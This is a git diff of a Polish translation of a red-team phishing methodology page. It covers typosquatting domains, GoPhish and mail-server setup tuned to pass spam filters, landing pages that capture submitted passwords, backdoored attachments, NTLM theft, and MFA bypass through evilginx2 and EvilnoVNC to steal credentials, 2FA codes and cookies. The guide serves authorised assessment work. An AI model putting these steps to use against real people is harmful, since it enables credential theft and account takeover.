- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com).
|
||||
- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
|
||||
- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
|
||||
- **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com).
|
||||
- **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
|
||||
- **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com).
|
||||
- **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com).
|
||||
- **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com)
|
||||
- **Transposition:** Zamienia miejscami dwie litery w nazwie domeny (np. zelsetr.com).
|
||||
- **Singularization/Pluralization**: Dodaje lub usuwa „s” na końcu nazwy domeny (np. zeltsers.com).
|
||||
- **Omission**: Usuwa jedną z liter w nazwie domeny (np. zelser.com).
|
||||
- **Repetition:** Powtarza jedną z liter w nazwie domeny (np. zeltsser.com).
|
||||
- **Replacement**: Podobne do homoglyph, ale mniej ukryte. Zastępuje jedną z liter w nazwie domeny, być może literą znajdującą się blisko oryginalnej na klawiaturze (np. zektser.com).
|
||||
- **Subdomained**: Wprowadza **kropkę** wewnątrz nazwy domeny (np. ze.lster.com).
|
||||
- **Insertion**: Wstawia literę do nazwy domeny (np. zerltser.com).
|
||||
- **Missing dot**: Dołącza TLD do nazwy domeny. (np. zelstercom.com)
|
||||
|
||||
**Automatic Tools**
|
||||
|
||||
@ -52,20 +52,20 @@ homograph-attacks.md
|
||||
|
||||
### Bitflipping
|
||||
|
||||
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
|
||||
Istnieje **możliwość, że niektóre bity przechowywane lub przesyłane mogą się automatycznie odwrócić** z powodu różnych czynników, takich jak wybuchy słoneczne, promieniowanie kosmiczne lub błędy sprzętowe.
|
||||
|
||||
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
|
||||
Kiedy ten koncept jest **zastosowany do zapytań DNS**, możliwe jest, że **domena odebrana przez serwer DNS** nie jest taka sama, jak domena początkowo żądana.
|
||||
|
||||
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
|
||||
Na przykład pojedyncza modyfikacja bitu w domenie "windows.com" może zmienić ją na "windnws.com."
|
||||
|
||||
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
|
||||
Atakujący mogą **wykorzystać to, rejestrując wiele domen podatnych na bit-flipping**, które są podobne do domeny ofiary. Ich intencją jest przekierowanie legalnych użytkowników do własnej infrastruktury.
|
||||
|
||||
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
Po więcej informacji przeczytaj [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
### Buy a trusted domain
|
||||
|
||||
You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\
|
||||
In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in:
|
||||
Możesz przeszukać [https://www.expireddomains.net/](https://www.expireddomains.net) pod kątem wygasłej domeny, której mógłbyś użyć.\
|
||||
Aby upewnić się, że wygasła domena, którą zamierzasz kupić, **ma już dobrą SEO**, możesz sprawdzić, jak jest kategoryzowana w:
|
||||
|
||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
@ -78,17 +78,17 @@ In order to make sure that the expired domain that you are going to buy **has al
|
||||
- [https://hunter.io/](https://hunter.io)
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible.
|
||||
Aby **odkryć więcej** prawidłowych adresów email lub **zweryfikować te**, które już znalazłeś, możesz sprawdzić, czy możesz bruteforce'ować serwery smtp ofiary. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
Dodatkowo, nie zapomnij, że jeśli użytkownicy korzystają z **dowolnego portalu webowego do dostępu do swoich maili**, możesz sprawdzić, czy jest on podatny na **brute force nazwy użytkownika**, i wykorzystać tę podatność, jeśli to możliwe.
|
||||
|
||||
## Configuring GoPhish
|
||||
## Konfiguracja GoPhish
|
||||
|
||||
### Installation
|
||||
|
||||
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
Możesz pobrać go z [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
|
||||
Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
|
||||
You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local:
|
||||
Pobierz i rozpakuj go do `/opt/gophish` i uruchom `/opt/gophish/gophish`\
|
||||
W wyjściu zostanie podane hasło dla użytkownika admin na porcie 3333. Dlatego uzyskaj dostęp do tego portu i użyj tych poświadczeń, aby zmienić hasło admina. Może być konieczne przetunelowanie tego portu lokalnie.
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
|
||||
**Konfiguracja certyfikatu TLS**
|
||||
|
||||
Przed tym krokiem powinieneś mieć **już zakupioną domenę**, której zamierzasz użyć, i musi ona **wskazywać** na **adres IP VPS**, na którym konfigurujesz **gophish**.
|
||||
Przed tym krokiem powinieneś **już mieć kupioną domenę**, której zamierzasz użyć, i musi ona **wskazywać** na **adres IP VPS-a**, na którym konfigurujesz **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
@ -122,14 +122,14 @@ Następnie dodaj domenę do następujących plików:
|
||||
- **/etc/postfix/transport**
|
||||
- **/etc/postfix/virtual_regexp**
|
||||
|
||||
**Zmień także wartości następujących zmiennych w /etc/postfix/main.cf**
|
||||
**Zmień także wartości następujących zmiennych w pliku /etc/postfix/main.cf**
|
||||
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
|
||||
Na koniec zmodyfikuj pliki **`/etc/hostname`** i **`/etc/mailname`** na swoją nazwę domeny i **zrestartuj swój VPS.**
|
||||
Na końcu zmodyfikuj pliki **`/etc/hostname`** i **`/etc/mailname`** na nazwę swojej domeny i **zrestartuj swój VPS.**
|
||||
|
||||
Teraz utwórz **rekord A DNS** dla `mail.<domain>` wskazujący na **adres IP** VPS oraz **rekord MX DNS** wskazujący na `mail.<domain>`
|
||||
Teraz utwórz **rekord DNS A** dla `mail.<domain>` wskazujący na **adres IP** VPS oraz **rekord DNS MX** wskazujący na `mail.<domain>`
|
||||
|
||||
Teraz przetestujmy wysyłanie e-maila:
|
||||
```bash
|
||||
@ -138,8 +138,8 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
|
||||
```
|
||||
**Konfiguracja Gophish**
|
||||
|
||||
Zatrzymaj wykonywanie gophish i skonfigurujmy go.\
|
||||
Zmodyfikuj `/opt/gophish/config.json` tak, aby wyglądał następująco (zwróć uwagę na użycie https):
|
||||
Zatrzymaj działanie Gophish i skonfigurujmy go.\
|
||||
Zmodyfikuj `/opt/gophish/config.json` następująco (zwróć uwagę na użycie https):
|
||||
```bash
|
||||
{
|
||||
"admin_server": {
|
||||
@ -166,7 +166,7 @@ Zmodyfikuj `/opt/gophish/config.json` tak, aby wyglądał następująco (zwróć
|
||||
```
|
||||
**Skonfiguruj usługę gophish**
|
||||
|
||||
Aby utworzyć usługę gophish tak, aby mogła być uruchamiana automatycznie i zarządzana, możesz utworzyć plik `/etc/init.d/gophish` z następującą zawartością:
|
||||
Aby utworzyć usługę gophish tak, aby mogła być uruchamiana automatycznie i zarządzana jako usługa, możesz utworzyć plik `/etc/init.d/gophish` z następującą zawartością:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /etc/init.d/gophish
|
||||
@ -213,7 +213,7 @@ case $1 in
|
||||
start|stop|status) "$1" ;;
|
||||
esac
|
||||
```
|
||||
Dokończ konfigurację usługi i sprawdź ją, wykonując:
|
||||
Dokończ konfigurację usługi i sprawdź jej działanie, wykonując:
|
||||
```bash
|
||||
mkdir /var/log/gophish
|
||||
chmod +x /etc/init.d/gophish
|
||||
@ -224,35 +224,35 @@ service gophish status
|
||||
ss -l | grep "3333\|443"
|
||||
service gophish stop
|
||||
```
|
||||
## Konfiguracja serwera poczty i domeny
|
||||
## Konfigurowanie serwera pocztowego i domeny
|
||||
|
||||
### Poczekaj i bądź wiarygodny
|
||||
|
||||
Im starsza domena, tym mniejsze prawdopodobieństwo, że zostanie oznaczona jako spam. Dlatego powinieneś poczekać jak najdłużej (co najmniej 1 tydzień) przed testem phishingowym. Ponadto, jeśli umieścisz stronę związaną z sektorem o dobrej reputacji, uzyskana reputacja będzie lepsza.
|
||||
Im starsza domena, tym mniejsze prawdopodobieństwo, że zostanie oznaczona jako spam. Dlatego powinieneś odczekać jak najdłużej (co najmniej 1 tydzień) przed phishing assessment. Ponadto, jeśli umieścisz stronę związaną z branżą o dobrej reputacji, uzyskana reputacja będzie lepsza.
|
||||
|
||||
Pamiętaj, że nawet jeśli musisz poczekać tydzień, możesz już teraz dokończyć konfigurację wszystkiego.
|
||||
Zauważ, że nawet jeśli musisz czekać tydzień, możesz teraz dokończyć konfigurację wszystkiego.
|
||||
|
||||
### Skonfiguruj rekord Reverse DNS (rDNS)
|
||||
### Skonfiguruj Reverse DNS (rDNS) record
|
||||
|
||||
Ustaw rekord rDNS (PTR), który mapuje adres IP VPS na nazwę domeny.
|
||||
Ustaw rDNS (PTR) record, który mapuje adres IP VPS na nazwę domeny.
|
||||
|
||||
### Rekord Sender Policy Framework (SPF)
|
||||
### Sender Policy Framework (SPF) Record
|
||||
|
||||
Musisz **skonfigurować rekord SPF dla nowej domeny**. Jeśli nie wiesz, czym jest rekord SPF, [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||
Musisz **skonfigurować SPF record dla nowej domeny**. Jeśli nie wiesz, czym jest SPF record [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||
|
||||
Możesz użyć [https://www.spfwizard.net/](https://www.spfwizard.net) do wygenerowania swojej polityki SPF (użyj adresu IP maszyny VPS)
|
||||
Możesz użyć [https://www.spfwizard.net/](https://www.spfwizard.net) do wygenerowania swojej SPF policy (użyj IP maszyny VPS)
|
||||
|
||||
.png>)
|
||||
|
||||
To jest zawartość, którą należy ustawić w rekordzie TXT domeny:
|
||||
To jest zawartość, która musi być ustawiona w TXT record w domenie:
|
||||
```bash
|
||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Rekord DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
Musisz **skonfigurować rekord DMARC dla nowej domeny**. Jeśli nie wiesz, czym jest rekord DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||
Musisz **skonfigurować rekord DMARC dla nowej domeny**. Jeśli nie wiesz, czym jest rekord DMARC [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||
|
||||
Musisz utworzyć nowy rekord DNS TXT wskazujący nazwę hosta `_dmarc.<domain>` z następującą zawartością:
|
||||
Musisz utworzyć nowy rekord DNS TXT wskazujący nazwę hosta `_dmarc.<domain>` o następującej treści:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
@ -263,21 +263,21 @@ Musisz **skonfigurować DKIM dla nowej domeny**. Jeśli nie wiesz, czym jest rek
|
||||
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
> [!TIP]
|
||||
> Musisz połączyć obie wartości B64, które generuje klucz DKIM:
|
||||
> You need to concatenate both B64 values that the DKIM key generates:
|
||||
>
|
||||
> ```
|
||||
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
||||
> ```
|
||||
|
||||
### Test your email configuration score
|
||||
### Przetestuj wynik konfiguracji e-mail
|
||||
|
||||
Możesz to sprawdzić używając [https://www.mail-tester.com/](https://www.mail-tester.com/)\
|
||||
Po prostu wejdź na stronę i wyślij e-mail na adres, który Ci podadzą:
|
||||
Możesz to zrobić za pomocą [https://www.mail-tester.com/](https://www.mail-tester.com/)\
|
||||
Wystarczy wejść na stronę i wysłać e-mail na adres, który Ci podadzą:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
Możesz też **sprawdzić konfigurację poczty** wysyłając e-mail na `check-auth@verifier.port25.com` i **odczytując odpowiedź** (w tym celu będziesz musiał **otworzyć** port **25** i sprawdzić odpowiedź w pliku _/var/mail/root_, jeśli wyślesz wiadomość jako root).\
|
||||
Sprawdź, czy zdasz wszystkie testy:
|
||||
Możesz także **sprawdzić konfigurację poczty** wysyłając e-mail na `check-auth@verifier.port25.com` i **odczytać odpowiedź** (w tym celu musisz **otworzyć** port **25** i zobaczyć odpowiedź w pliku _/var/mail/root_ jeśli wyślesz e-mail jako root).\
|
||||
Sprawdź, czy przechodzisz wszystkie testy:
|
||||
```bash
|
||||
==========================================================
|
||||
Summary of Results
|
||||
@ -288,40 +288,40 @@ DKIM check: pass
|
||||
Sender-ID check: pass
|
||||
SpamAssassin check: ham
|
||||
```
|
||||
Możesz też wysłać **wiadomość na konto Gmail, którym zarządzasz**, i sprawdzić **nagłówki wiadomości e-mail** w swojej skrzynce odbiorczej Gmail, `dkim=pass` powinno być obecne w polu nagłówka `Authentication-Results`.
|
||||
Możesz też wysłać **wiadomość na Gmaila, którym zarządzasz**, i sprawdzić **nagłówki wiadomości** w swojej skrzynce Gmail; `dkim=pass` powinien być obecny w polu nagłówka `Authentication-Results`.
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Usuwanie z Spamhouse Blacklist
|
||||
### Usuwanie z czarnej listy Spamhouse
|
||||
|
||||
Strona [www.mail-tester.com](https://www.mail-tester.com) może wskazać, czy Twoja domena jest blokowana przez spamhouse. Możesz poprosić o usunięcie domeny/IP na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
Strona [www.mail-tester.com](https://www.mail-tester.com) może wskazać, czy Twoja domena jest blokowana przez Spamhouse. Możesz poprosić o usunięcie domeny/IP pod adresem: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Usuwanie z Microsoft Blacklist
|
||||
### Usuwanie z czarnej listy Microsoft
|
||||
|
||||
Możesz zgłosić prośbę o usunięcie domeny/IP na [https://sender.office.com/](https://sender.office.com).
|
||||
Możesz poprosić o usunięcie domeny/IP pod adresem [https://sender.office.com/](https://sender.office.com).
|
||||
|
||||
## Utwórz i uruchom GoPhish Campaign
|
||||
## Tworzenie i uruchamianie kampanii GoPhish
|
||||
|
||||
### Sending Profile
|
||||
### Profil nadawcy
|
||||
|
||||
- Ustaw jakąś **nazwę identyfikującą** profil nadawcy
|
||||
- Zdecyduj, z którego konta będziesz wysyłać phishingowe maile. Sugestie: _noreply, support, servicedesk, salesforce..._
|
||||
- Możesz zostawić puste username i password, ale upewnij się, że zaznaczyłeś opcję "Ignore Certificate Errors"
|
||||
- Zdecyduj, z którego konta zamierzasz wysyłać phishingowe e-maile. Sugestie: _noreply, support, servicedesk, salesforce..._
|
||||
- Możesz pozostawić puste pola nazwy użytkownika i hasła, ale upewnij się, że zaznaczyłeś Ignore Certificate Errors
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!TIP]
|
||||
> Zalecane jest użycie funkcji "**Send Test Email**", aby sprawdzić, czy wszystko działa.\
|
||||
> Polecam wysyłać testowe maile na adresy 10min mails, aby uniknąć zablokowania podczas testów.
|
||||
> Zaleca się użycie funkcji "**Send Test Email**", aby sprawdzić, czy wszystko działa.\
|
||||
> Zalecam **wysyłanie testowych e-maili na adresy 10min mails**, aby uniknąć trafienia na czarną listę podczas testów.
|
||||
|
||||
### Email Template
|
||||
### Szablon e-mail
|
||||
|
||||
- Ustaw jakąś **nazwę identyfikującą** szablon
|
||||
- Następnie wpisz **subject** (nic dziwnego, po prostu coś, co można by oczekiwać w zwykłym mailu)
|
||||
- Nadaj **nazwę identyfikującą** szablonowi
|
||||
- Następnie wpisz **temat** (nic dziwnego, po prostu coś, czego można się spodziewać w zwykłym e-mailu)
|
||||
- Upewnij się, że zaznaczyłeś "**Add Tracking Image**"
|
||||
- Napisz **email template** (możesz użyć zmiennych, jak w poniższym przykładzie):
|
||||
- Napisz **szablon e-maila** (możesz użyć zmiennych jak w poniższym przykładzie):
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -340,123 +340,123 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Należy pamiętać, że **w celu zwiększenia wiarygodności e-maila** zaleca się użycie jakiegoś podpisu z wiadomości od klienta. Sugestie:
|
||||
Zauważ, że aby **zwiększyć wiarygodność e-maila**, zaleca się użycie jakiegoś podpisu z e-maila od klienta. Sugestie:
|
||||
|
||||
- Wyślij e-mail na **nieistniejący adres** i sprawdź, czy odpowiedź zawiera jakiś podpis.
|
||||
- Wyszukaj **publiczne adresy e‑mail** takie jak info@ex.com, press@ex.com lub public@ex.com, wyślij do nich wiadomość i poczekaj na odpowiedź.
|
||||
- Spróbuj skontaktować się z **jakimś odnalezionym, prawidłowym** adresem e‑mail i poczekaj na odpowiedź
|
||||
- Wyszukaj **publiczne e-maile** typu info@ex.com lub press@ex.com lub public@ex.com i wyślij im wiadomość, a następnie poczekaj na odpowiedź.
|
||||
- Spróbuj skontaktować się z **jakimś prawidłowo odnalezionym** adresem e-mail i poczekaj na odpowiedź
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
> Szablon e-maila pozwala również **załączać pliki do wysłania**. Jeśli chcesz też przechwycić wyzwania NTLM używając specjalnie spreparowanych plików/dokumentów [przeczytaj tę stronę](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
|
||||
### Strona docelowa
|
||||
|
||||
- Wpisz **nazwę**
|
||||
- **Wpisz kod HTML** strony. Zwróć uwagę, że możesz **importować** strony.
|
||||
- Zaznacz **Capture Submitted Data** i **Capture Passwords**
|
||||
- **Wpisz kod HTML** strony. Zauważ, że możesz **importować** strony web.
|
||||
- Zaznacz **Capture Submitted Data** oraz **Capture Passwords**
|
||||
- Ustaw **przekierowanie**
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Zazwyczaj będziesz musiał zmodyfikować kod HTML strony i przeprowadzić testy lokalnie (np. używając serwera Apache) **aż osiągniesz zadowalający efekt.** Następnie wklej ten kod HTML w pole.\
|
||||
> Zwróć uwagę, że jeśli potrzebujesz **użyć zasobów statycznych** dla HTML (np. CSS i JS) możesz zapisać je w _**/opt/gophish/static/endpoint**_ i potem uzyskać do nich dostęp z _**/static/\<filename>**_
|
||||
> Zazwyczaj będziesz musiał modyfikować kod HTML strony i robić testy lokalnie (może używając jakiegoś serwera Apache), **aż będziesz zadowolony z efektów.** Potem wklej ten kod HTML w pole.\
|
||||
> Uwaga: jeśli potrzebujesz **użyć jakichś zasobów statycznych** dla HTML (np. plików CSS i JS), możesz zapisać je w _**/opt/gophish/static/endpoint**_ i potem odwoływać się do nich z _**/static/\<filename>**_
|
||||
|
||||
> [!TIP]
|
||||
> Dla przekierowania możesz **przekierować użytkowników na prawdziwą główną stronę** ofiary, lub przekierować ich np. na _/static/migration.html_, dodać **kręcące się kółko (**[**https://loading.io/**](https://loading.io)**) przez 5 sekund, a potem wskazać, że proces się powiódł**.
|
||||
> Dla przekierowania możesz **przekierować użytkowników na legit główną stronę** ofiary, lub przekierować ich do _/static/migration.html_ na przykład, pokazać **wirujące kółko (**) [**https://loading.io/**](https://loading.io)**) przez 5 sekund, a potem wskazać, że proces zakończył się pomyślnie**.
|
||||
|
||||
### Użytkownicy & grupy
|
||||
### Użytkownicy i grupy
|
||||
|
||||
- Ustaw nazwę
|
||||
- **Zaimportuj dane** (zwróć uwagę, że aby użyć szablonu w przykładzie potrzebujesz imienia, nazwiska i adresu e‑mail każdego użytkownika)
|
||||
- **Importuj dane** (zauważ, że aby użyć szablonu w przykładzie potrzebujesz firstname, last name i email address każdego użytkownika)
|
||||
|
||||
.png>)
|
||||
|
||||
### Kampania
|
||||
|
||||
Na koniec stwórz kampanię, wybierając nazwę, szablon wiadomości, stronę docelową, URL, profil wysyłkowy i grupę. Pamiętaj, że URL będzie linkiem wysyłanym ofiarom
|
||||
Na koniec stwórz kampanię wybierając nazwę, szablon e-maila, stronę docelową, URL, sending profile i grupę. Zauważ, że URL będzie linkiem wysyłanym do ofiar
|
||||
|
||||
Zwróć uwagę, że **Sending Profile allow to send a test email to see how will the final phishing email looks like**:
|
||||
Zauważ, że **Sending Profile pozwala wysłać testowy e-mail, aby zobaczyć jak będzie wyglądał finalny phishing**:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Zalecam **wysyłać testowe e-maile na adresy 10min mail**, aby uniknąć zablokowania podczas testów.
|
||||
> Zalecałbym **wysyłać testowe e-maile na adresy 10min mails**, aby uniknąć wpisania się na czarne listy podczas testów.
|
||||
|
||||
Gdy wszystko jest gotowe, po prostu uruchom kampanię!
|
||||
|
||||
## Klonowanie strony
|
||||
|
||||
Jeśli z jakiegokolwiek powodu chcesz sklonować stronę, sprawdź następującą stronę:
|
||||
Jeśli z jakiegoś powodu chcesz sklonować stronę, sprawdź następującą stronę:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
clone-a-website.md
|
||||
{{#endref}}
|
||||
|
||||
## Dokumenty i pliki z backdoorem
|
||||
## Podstawione dokumenty i pliki (Backdoored Documents & Files)
|
||||
|
||||
W niektórych ocenach phishingowych (głównie dla Red Teams) będziesz też chciał **wysyłać pliki zawierające jakiś rodzaj backdoora** (może C2 lub coś, co wywoła uwierzytelnienie).\
|
||||
Sprawdź następującą stronę, aby zobaczyć przykłady:
|
||||
W niektórych ocenach phishingowych (głównie dla Red Teams) będziesz chciał także **wysyłać pliki zawierające jakiś rodzaj backdoora** (może C2 lub coś, co wywoła uwierzytelnienie).\
|
||||
Sprawdź następującą stronę dla przykładów:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phishing-documents.md
|
||||
{{#endref}}
|
||||
|
||||
## Phishing MFA
|
||||
## Phishing a MFA
|
||||
|
||||
### Przez Proxy MitM
|
||||
|
||||
Poprzedni atak jest całkiem sprytny, ponieważ podszywasz się pod prawdziwą stronę i zbierasz informacje wprowadzone przez użytkownika. Niestety, jeśli użytkownik nie podał poprawnego hasła lub jeśli aplikacja, którą sfałszowałeś, jest skonfigurowana z 2FA, **te informacje nie pozwolą ci podszyć się pod oszukanego użytkownika**.
|
||||
Poprzedni atak jest całkiem sprytny, ponieważ podszywasz się pod prawdziwą stronę i zbierasz informacje wpisane przez użytkownika. Niestety, jeśli użytkownik nie podał poprawnego hasła lub jeśli aplikacja, którą podrobiłeś, jest skonfigurowana z 2FA, **te informacje nie pozwolą ci się podszyć pod oszukanego użytkownika**.
|
||||
|
||||
W tym miejscu przydatne są narzędzia takie jak [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena). Narzędzie to pozwala wygenerować atak typu MitM. Zasadniczo atak działa w następujący sposób:
|
||||
Tutaj przydatne są narzędzia takie jak [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) oraz [**muraena**](https://github.com/muraenateam/muraena). Narzędzie to pozwala wygenerować atak MitM. W zasadzie atak działa w następujący sposób:
|
||||
|
||||
1. Podszywasz się pod **formularz logowania** prawdziwej strony.
|
||||
2. Użytkownik wysyła swoje **credentials** do twojej fałszywej strony, a narzędzie przekazuje je do prawdziwej strony, **sprawdzając, czy dane działają**.
|
||||
3. Jeśli konto ma skonfigurowane **2FA**, strona MitM poprosi o nie, a gdy **użytkownik je wprowadzi** narzędzie prześle je do prawdziwej strony.
|
||||
4. Gdy użytkownik zostanie uwierzytelniony, ty (jako atakujący) będziesz miał **przechwycone credentials, 2FA, cookie i wszystkie informacje** z każdej interakcji podczas działania MitM.
|
||||
1. Podszywasz się pod formularz logowania prawdziwej strony.
|
||||
2. Użytkownik **wysyła** swoje **poświadczenia** do twojej fałszywej strony, a narzędzie przesyła je do prawdziwej strony, **sprawdzając czy poświadczenia działają**.
|
||||
3. Jeśli konto jest skonfigurowane z **2FA**, strona MitM poprosi o nią i gdy **użytkownik ją wprowadzi**, narzędzie przekaże ją do prawdziwej strony.
|
||||
4. Gdy użytkownik zostanie uwierzytelniony, ty (jako atakujący) będziesz miał **przechwycone poświadczenia, 2FA, ciasteczko i wszelkie informacje** z każdej interakcji podczas gdy narzędzie wykonuje MitM.
|
||||
|
||||
### Przez VNC
|
||||
|
||||
Co jeśli zamiast **wysyłać ofiarę na złośliwą stronę** o wyglądzie identycznym z oryginałem, przekierujesz ją do **sesji VNC z przeglądarką połączoną z prawdziwą stroną**? Będziesz mógł obserwować jej działania, ukraść hasło, używane MFA, cookies...\
|
||||
Można to zrobić za pomocą [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
Co jeśli zamiast **wysyłać ofiarę na złośliwą stronę** wyglądającą jak oryginał, wyślesz ją do **sesji VNC z przeglądarką połączoną z prawdziwą stroną**? Będziesz mógł zobaczyć, co robi, ukraść hasło, MFA, ciasteczka...\
|
||||
Możesz to zrobić za pomocą [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
|
||||
## Wykrywanie, że zostałeś wykryty
|
||||
## Wykrywanie wykrycia
|
||||
|
||||
Oczywiście jednym z najlepszych sposobów, aby wiedzieć, czy zostałeś złapany, jest **sprawdzenie swojej domeny na czarnych listach**. Jeśli pojawi się na liście, w jakiś sposób twoja domena została wykryta jako podejrzana.\
|
||||
Jednym z prostych sposobów sprawdzenia, czy twoja domena pojawia się na jakiejkolwiek czarnej liście, jest użycie [https://malwareworld.com/](https://malwareworld.com)
|
||||
Oczywiście jednym z najlepszych sposobów, by wiedzieć, czy zostałeś złapany, jest **wyszukanie swojej domeny na czarnych listach**. Jeśli pojawi się na liście, w jakiś sposób twoja domena została uznana za podejrzaną.\
|
||||
Łatwy sposób, by sprawdzić, czy twoja domena pojawia się na jakiejś czarnej liście, to użyć [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
Jednak istnieją inne sposoby, aby dowiedzieć się, czy ofiara **aktywnie szuka podejrzanej aktywności phishingowej w sieci**, jak opisano w:
|
||||
Są jednak inne sposoby, by dowiedzieć się, czy ofiara **aktywnie szuka podejrzanych aktywności phishingowych w sieci**, jak wyjaśniono w:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
